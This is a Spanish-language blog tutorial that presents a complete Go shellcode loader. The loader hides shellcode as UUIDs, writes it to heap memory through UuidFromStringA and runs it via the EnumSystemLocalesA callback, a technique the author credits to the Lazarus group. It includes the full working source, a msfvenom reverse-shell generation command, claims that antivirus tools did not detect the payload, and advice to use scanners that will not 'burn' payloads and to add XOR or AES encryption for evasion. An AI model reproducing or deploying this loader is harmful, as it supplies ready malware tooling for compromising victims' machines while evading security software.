· Asparux · malware · 6 min read

UuidFromString Shellcode Injection

Introducción

¡Hola Hackers!

Soy Asparux y hoy aprenderemos una técnica avanzada de inyección de shellcode utilizada por el grupo Lazarus que utiliza UuidFromStringA llamadas API.

Explicación

En esta demostración usaremos un shellcode calc.exe en lugar de un reverse shell.

Calc.exe shellcode en formato Golang

calc_shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}

Esta técnica utiliza UuidFromStringA una llamada API desde Rpcrt4.dll que se puede usar para decodificar shellcode como uuid y escribirlo en un puntero de montón. De esta forma no se utiliza WriteProcessMemory.

También utiliza EnumSystemLocalesA una llamada API desde kernel32.dll para reanudar y ejecutar shellcode.

En este punto, si has leído mi última publicación al respecto, CreateRemoteThread habrás notado que todas las técnicas de inyección de shellcode intentan lograr estos resultados:

  1. Asignar memoria
  2. Escribir buffer
  3. Ejecutar código shell

Como puede ver, las funciones utilizadas cambian, pero el objetivo es el mismo, por lo que la clave es hacer esto con llamadas API poco comunes.

Código

En primer lugar, importe los paquetes necesarios para interactuar con la memoria y la API de Windows como unsafe o golang.org/x/sys/windows

package main

import (
  "os"
  "fmt"
  "log"
  "bytes"
  "unsafe"
  "encoding/binary"

  "golang.org/x/sys/windows"
  "github.com/google/uuid"
)

Antes de asignar memoria, debemos convertir nuestro código shell a UUID.

...

// Chequea la longitud del shellcode para añadirle un 0
if 16 - len(shellcode) %16 < 16 {
  pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
  shellcode = append(shellcode, pad...)
}

var uuids []string
for i := 0; i < len(shellcode); i += 16 {
  var uuidBytes []byte

  buf := make([]byte, 4)
  binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
  uuidBytes = append(uuidBytes, buf...)

  buf = make([]byte, 2)
  binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
  uuidBytes = append(uuidBytes, buf...)

  buf = make([]byte, 2)
  binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
  uuidBytes = append(uuidBytes, buf...)

  uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)

  // utiliza el paquete oficial de Google para convertir los bytes a uuid
  u, err := uuid.FromBytes(uuidBytes)
  if err != nil {
    log.Fatal(fmt.Errorf("Error al converttir los bytes a UUID\n%s", err))
  }

  uuids = append(uuids, u.String())
}

...

Una vez que hayamos convertido el shellcode a UUID, comenzamos a crear un montón y a asignar memoria:

...

// Importar DLL
kernel32 := windows.NewLazyDLL("kernel32")

// conseguir las funciones del kernel32.dll
HeapCreate := kernel32.NewProc("HeapCreate")
HeapAlloc := kernel32.NewProc("HeapAlloc")

// Crear el Heap
heapAddr, _, err := HeapCreate.Call(
  0x00040000,
  0,
  0,
)

if heapAddr == 0 { // Handle error
  log.Fatal(err)
}

// Alojar memoria heap
addr, _, err := HeapAlloc.Call(
  heapAddr,
  0,
  0x00100000,
)

if addr == 0 { // Handle error
  log.Fatal(err)
}

...

Ahora tenemos que usar UuidFromStringA para decodificar y escribir el código shell en la memoria iterando sobre todos los UUID.

...

// Cargar la DLL
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")

addrPtr := addr
// Iterar por todos los UUIDs
for _, uuid := range uuids {
  u := append([]byte(uuid), 0)

  // Llamar a la función
  rpcStatus, _, err := UuidFromStringA.Call(
    uintptr(unsafe.Pointer(&u[0])),
    addrPtr,
  )

  if rpcStatus != 0 { // Handle error
    log.Fatal(err)
  }

  addrPtr += 16
}

...

Y finalmente, para ejecutar el código shell que usamos, EnumSystemLocalesA ya que hay algunas llamadas API que usan funciones de devolución de llamada, por lo que se puede abusar de ellas para ejecutar el código shell. Aquí tienes una lista con todos ellos.

...

// Conseguir la llamada a la API
EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")

ret, _, err := EnumSystemLocalesA.Call(addr, 0)
if ret == 0 { // Handle error
  log.Fatal(err)
}

...

Juntemos todos para que funcione. El código final debería ser algo como esto:

package main

/*

Autor: Asparux
Blog: https://asparux.net

*/

import (
  "fmt"
  "log"
  "bytes"
  "unsafe"
  "encoding/binary"

  "golang.org/x/sys/windows"
  "github.com/google/uuid"
)

func main(){
  var shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}

  // Chequear la longitud del shellcode para añadir un 0
  if 16 - len(shellcode) %16 < 16 {
    pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
    shellcode = append(shellcode, pad...)
  }

  // Convertir shellcode a UUIDs
  fmt.Println("Convertir el shellcode a UUIDs...")
  var uuids []string
  for i := 0; i < len(shellcode); i += 16 {
    var uuidBytes []byte

    buf := make([]byte, 4)
    binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
    uuidBytes = append(uuidBytes, buf...)

    buf = make([]byte, 2)
    binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
    uuidBytes = append(uuidBytes, buf...)

    buf = make([]byte, 2)
    binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
    uuidBytes = append(uuidBytes, buf...)

    uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)

    // Utilizar el paquete oficial de google para convertir los bytes a uuid
    u, err := uuid.FromBytes(uuidBytes)
    if err != nil {
      log.Fatal(fmt.Errorf("Error al convertir los bytes a UUIDs:\n%s", err))
    }

    uuids = append(uuids, u.String())
  }

  fmt.Println("Montón de UUIDs:", len(uuids))

  fmt.Println("Cargando DLLs...")
  kernel32 := windows.NewLazyDLL("kernel32")
  HeapCreate := kernel32.NewProc("HeapCreate")
  HeapAlloc := kernel32.NewProc("HeapAlloc")
  EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")

  rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
  UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")

  // Crear heap
  fmt.Println("Calling HeapCreate...")
  heapAddr, _, err := HeapCreate.Call(
    0x00040000,
    0,
    0,
  )

  if heapAddr == 0 { // Handle error
    log.Fatal(err)
  }

  // Alojar memoria Heap
  fmt.Println("Calling HeapAlloc...")
  addr, _, err := HeapAlloc.Call(
    heapAddr,
    0,
    0x00100000,
  )

  if addr == 0 { // Handle error
    log.Fatal(err)
  }

  addrPtr := addr
  // Iterar por los UUIDs para escribit el shellcode
  for _, uuid := range uuids {
    u := append([]byte(uuid), 0)

    fmt.Println("Llamando a UuidFromStringA con UUID: " + uuid)
    rpcStatus, _, err := UuidFromStringA.Call(
      uintptr(unsafe.Pointer(&u[0])),
      addrPtr,
    )

    if rpcStatus != 0 { // Handle error
      log.Fatal(err)
    }

    addrPtr += 16
  }

  // Execute shellcode
  fmt.Println("Llamando a EnumSystemLocalesA...")
  ret, _, err := EnumSystemLocalesA.Call(addr, 0)
  if ret == 0 {
    log.Fatal(err)
  }

  fmt.Println("Shellcode ejecutado exitosamente!")
}

Ahora compila el programa final, transfiérelo a la PC “víctima” y ejecútalo, estos son los resultados.

¡Después de ejecutarlo, aparece un calc.exe ! ¡Funciona!

Ahora subámoslo a Kleenscan.com (no a VirusTotal, ya que distribuye malware y puede quemar nuestras cargas útiles) y aquí están los resultados:

Como vemos ningún AV detectó nuestra carga como maliciosa (se utilizó para el escaneo un shellcode de msfvenom: msfvenom -p windows/x64/shell_reverse_tcp lhost=127.0.0.1 lport=4445 -f csharp —encrypt xor —encrypt-key Asparux666) Sin embargo, si desea agregar más protección a su inyector de código shell, puede usar el descifrado XOR o AES.

Conclusión

Esta técnica no es tan conocida como otras técnicas como CreateRemoteThread , que se basa en varias llamadas API comunes como VirtualAllocEx, VirtualProtectEx, OpenProcess, WriteProcessMemory o SetThreadContext. Por eso esta técnica es tan efectiva.

Saludos, Asparux!

Back to Blog